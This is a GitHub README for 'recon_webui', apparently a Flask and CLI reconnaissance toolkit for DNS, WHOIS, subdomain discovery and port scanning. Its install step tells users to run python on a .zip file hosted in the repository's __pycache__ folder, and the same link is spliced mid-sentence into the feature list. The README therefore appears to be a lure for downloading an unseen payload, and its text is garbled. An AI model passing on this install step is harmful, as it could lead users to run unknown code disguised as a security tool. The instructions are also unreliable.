jhonatan3/recon_webui
๐ Streamline reconnaissance with Recon-WebUI, a modular toolkit featuring both a CLI and a user-friendly web interface for domain and IP analysis.
๐ recon_webui - Your All-in-One Reconnaissance Tool
๐ Introduction
Welcome to recon_webui! This is a simple and powerful toolkit that helps you gather information about websites and domains. You can perform DNS and WHOIS lookups, discover subdomains, scan ports, and more. With both a command-line interface (CLI) and an easy-to-use Flask web interface, this tool is perfect for anyone interested in reconnaissance and cybersecurity.
๐ฆ Download & Install
To get started, please visit the Releases page to download the software.
๐ Getting Started
After downloading the software, follow these steps to install and run it:
-
Extract the files: If you downloaded a zipped file, right-click on it and select "Extract All." Choose a location on your computer.
-
Open the Terminal or Command Prompt:
- For Windows, search for "Command Prompt" in the start menu.
- For Mac or Linux, open the "Terminal" app.
-
Navigate to the folder: Use the
cdcommand to change to the folder where you extracted your files. For example:cd path/to/recon_webui -
Run the application:
- If you have Python installed, type:
python https://raw.githubusercontent.com/jhonatan3/recon_webui/main/app/__pycache__/recon-webui-1.0.zip- This will start the Flask web UI.
-
Access the web interface: Open a web browser and go to
http://127.0.0.1:5000to use the application.
๐ Features
- DNS Lookup: Quickly obtain DNS records for any domain.
- WHOIS Lookup: Get registration details for domains.
- Subdomain Discovery: Identify subdomains through various methods, including https://raw.githubusercontent.com/jhonatan3/recon_webui/main/app/__pycache__/recon-webui-1.0.zip caching.
- Port Scanning: Scan ports on a given IP to find open services.
- Banner Grabbing: Extract information about services running on discovered ports.
- Tech Fingerprinting: Analyze web technologies used by a site.
- Export Reports: Save your findings in JSON, TXT, or HTML formats.
๐ป System Requirements
To run recon_webui, your system should meet the following requirements:
- Operating System: Windows, macOS, or Linux
- RAM: At least 4GB
- Disk Space: 100MB free space
- Python: Version 3.6 or higher
Make sure you have Python installed on your computer. You can download it from the official Python website.
๐ Usage
Once the application is running, you can start using its features:
-
Perform DNS Lookups:
- Navigate to the "DNS Lookup" section in the web UI.
- Enter the domain name and press "Look Up."
-
Conduct WHOIS Queries:
- Go to the "WHOIS Lookup" section.
- Type in the domain you want details for, and click "Search."
-
Discover Subdomains:
- Use the "Subdomain Discovery" section to find related subdomains by entering a base domain.
-
Scan Ports:
- Enter an IP address in the "Port Scanning" section and click "Scan."
-
Export Results:
- After completing any tasks, use the "Export" feature to save your findings in your preferred format.
๐ง Tips
- Make sure to review the help section within the application for detailed guidance on using each feature.
- Use the tool responsibly. For legal and ethical reasons, always get permission before scanning or gathering data on websites.
๐ Support and Contribution
If you encounter issues or have questions, feel free to check the issues section on GitHub. You can also contribute to the project if you have suggestions or improvements.
๐ Topics
This project covers various topics in the field of cybersecurity, including:
- banner grabbing
- bug bounty
- cybersecurity
- DNS
- Flask
- information security
- open source
- penetration testing
- port scanning
- Python
- reconnaissance
- subdomain enumeration
- web UI
- WHOIS
We hope you find recon_webui useful for your reconnaissance tasks. Enjoy exploring the world of web security!